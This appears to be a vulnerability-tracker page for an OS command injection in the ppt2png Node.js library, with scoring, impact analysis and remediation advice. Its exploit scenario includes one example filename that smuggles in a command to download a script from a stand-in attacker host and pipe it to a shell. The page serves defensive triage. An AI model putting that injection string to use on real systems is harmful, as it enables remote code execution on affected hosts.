Skip to main content

ppt2png CVE-2026-107699

| EUVDEUVD-2026-95145 CRITICAL
OS Command Injection (CWE-78)
2026-10-08 VulnCheck GHSA-hqhf-w97p-6w2f
9.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Influence input/output path argument
  2. Exploit
    Inject shell metacharacters (;, |) into filename
  3. Execution
    Reach child_process.exec() in ppt2png.js
  4. Impact
    Execute arbitrary OS commands as Node.js process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that a consuming application pass attacker-controllable data into ppt2png's input or output path arguments, which are concatenated into a shell command executed via child_process.exec() in ppt2png.js; the attacker injects shell metacharacters (e.g. ';', '|') in a filename to break out of the intended command. Limiting factors: this is a library, not a standalone service, so exploitability depends on the embedding application exposing these path parameters to untrusted input - if paths are always application-controlled or validated/sanitized, the flaw is not reachable. Affected versions are ppt2png through 0.0.6, and the injected commands run only with the privileges of the Node.js process.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N with VC:H/VI:H/VA:H, score 9.3) describes a fully network-reachable, unauthenticated, low-complexity flaw yielding complete compromise of the host process - on paper a top-tier priority. However, these signals must be weighed against context: ppt2png is a small pre-1.0 npm library (tzwm/ppt2png, affected through 0.0.6) that converts PowerPoint files to PNG, and the command injection is only reachable when a consuming application passes attacker-influenced input/output path strings into ppt2png's child_process.exec() call. The CVSS AV:N/PR:N rating therefore reflects the worst-case integration (untrusted paths exposed over the network) rather than a self-contained remote service; the true attack surface depends entirely on how downstream applications wire user input into the library. No EPSS score and no CISA KEV entry were supplied in the input, so there is no evidence of widespread or active exploitation; absence of EPSS/KEV data is not proof of safety but does suggest this is not currently a mass-exploitation target. A proof-of-concept gist is referenced, raising practical risk for any application that does expose these paths. Net assessment: technically critical where reachable, but real-world risk is bounded by very low deployment and by the requirement that the embedding application feed untrusted data into the path arguments - verify integration before treating as an emergency.

Exploit ScenarioDerived

An application uses ppt2png to render user-supplied presentations and derives the input or output file path from untrusted user input. An attacker submits a filename containing a shell metacharacter such as 'report.pptx; curl attacker.com/x | sh', which ppt2png concatenates into a child_process.exec() command line, causing arbitrary OS commands to run with the Node.js process's privileges. A proof-of-concept gist referenced in the advisory demonstrates the injection technique.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 1.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Oct 08, 2026

OS command injection in the ppt2png Node.js library (through version 0.0.6) lets attackers run arbitrary operating system commands by embedding shell metacharacters such as ';' in the input or output path arguments that the library concatenates into a child_process.exec() call in ppt2png.js. The vulnerable code is only reachable when a consuming application forwards attacker-controllable data into those path parameters; exploitation is therefore conditional on the embedding application, but when reachable the injected commands execute with the full privileges of the Node.js process, and no authentication is required per the assessed vector (CVSS:3.1 AV:N/AC:L/PR:N/UI:N, CVSS 4.0 base 9.3). No public exploit code was identified at time of analysis and there is no confirmed active exploitation (no CISA KEV listing), but the near-maximum severity and trivial injection technique make prompt remediation or strict path sanitization critical for any deployment that exposes these parameters.

RemediationAI

No vendor-released patch was identified at time of analysis, and the referenced material points to the vulnerable source in ppt2png.js rather than to a fixed release, so teams must either remediate at the integration layer or vendor a fix. The most durable option is to replace the string-concatenating child_process.exec() call with an argument-array API such as child_process.execFile() or spawn() with shell:false, which removes shell interpretation entirely; this is the correct upstream fix and can be applied locally via a patch to ppt2png.js or by forking the package. Where the library cannot be modified, enforce strict server-side validation on the path arguments before they reach it - reject or normalize filenames containing shell metacharacters (';', '|', '&', '$', '`', newline) using an allowlist of expected characters, resolve paths with path.basename()/path.resolve() into a fixed working directory, and never accept a raw user-supplied filename. Because ppt2png only ever needs to read an existing file and write a converted one, disabling or wrapping any feature that lets users choose arbitrary paths removes the vulnerable input channel outright, though it reduces flexibility for legitimate multi-file workflows. Additional containment with clear trade-offs: run the Node.js process under a low-privilege service account or in a locked-down container with a read-only filesystem and no outbound network so injected commands cannot pivot, accepting some operational overhead; and if the conversion is not needed, remove the ppt2png dependency entirely. Monitor the upstream repository at https://github.com/tzwm/ppt2png and the VulnCheck advisory at https://www.vulncheck.com/advisories/ppt2png-through-0.0.6-os-command-injection-via-input-and-output-paths for a patched release, and treat any consuming endpoint that exposes these path parameters to untrusted input as high priority given the 9.3 CVSS 4.0 score and unauthenticated, network-reachable attack profile.

Affected VersionsENISA

ppt2png 0 ≤0.0.6

Affected Packages

euvd ppt2png no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), a classic shell-injection class caused by building a shell command string from untrusted values. ppt2png is a wrapper-style Node.js utility that shells out to an external converter; ppt2png.js (lines 5-35 per the referenced source snapshot) passes the caller-supplied input and output file paths directly into child_process.exec(). Because exec() spawns a shell (/bin/sh on Unix, cmd.exe on Windows), any shell metacharacters embedded in a filename - semicolons, pipes, backticks, command substitution - terminate the intended command and start an attacker-chosen one. The CPE cpe:2.3:a:tzwm:ppt2png:*:*:*:*:*:*:*:* identifies the affected package published by the tzwm GitHub project, with all released versions up to and including 0.0.6 vulnerable. Two properties bound the real-world risk: ppt2png is a library rather than a network-facing service, so reachability depends entirely on whether the embedding application accepts untrusted input for the input/output path arguments, and the injected commands inherit only the privileges of the host Node.js process, meaning containerization or reduced service-account privileges meaningfully contain the blast radius.

Know when Ppt2Png gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.8 CRITICAL

Unsanitized path reaches exec() with no auth or interaction in the worst-case integration (AV:N/PR:N/UI:N/AC:L), granting full RCE (C/I/A:H); practical reachability depends on the host app exposing the path.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

ppt2png through 0.0.6 contains an OS command injection vulnerability that allows attackers to execute operating system commands by supplying unsanitized input or output path arguments. Attackers can append shell metacharacters such as ';' to file names passed to child_process.exec() in ppt2png.js, running commands with Node.js process privileges.

Executive ViewAI

Why It Matters

The ppt2png Node.js library (through version 0.0.6) contains a critical OS command-injection flaw that can allow an unauthenticated attacker to run arbitrary commands with the privileges of the host Node.js process when a consuming application passes attacker-controlled input or output paths into the library. Because no vendor-released patch is identified at time of analysis, any internet-facing or multi-tenant service using this dependency could be exposed to full host compromise. Leadership should prioritize locating affected services and enforcing strict path sanitization, isolation, or replacement of the library until a fix is available.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations include strict allowlist validation and sanitization of all input/output path parameters, rejecting shell metacharacters, replacing child_process.exec with execFile or spawn without a shell, running affected Node.js services with least privilege and in isolated containers, disabling or restricting ppt2png endpoints that accept attacker-controlled paths, and replacing or securely wrapping the library until a fixed version is available.

Threat Intelligence Overview

EPSS Score
1.5%
Top 27% exploitable
Prevalence
Rare
obscure pre-1.0 npm package, negligible production deployment footprint
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 1.5%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy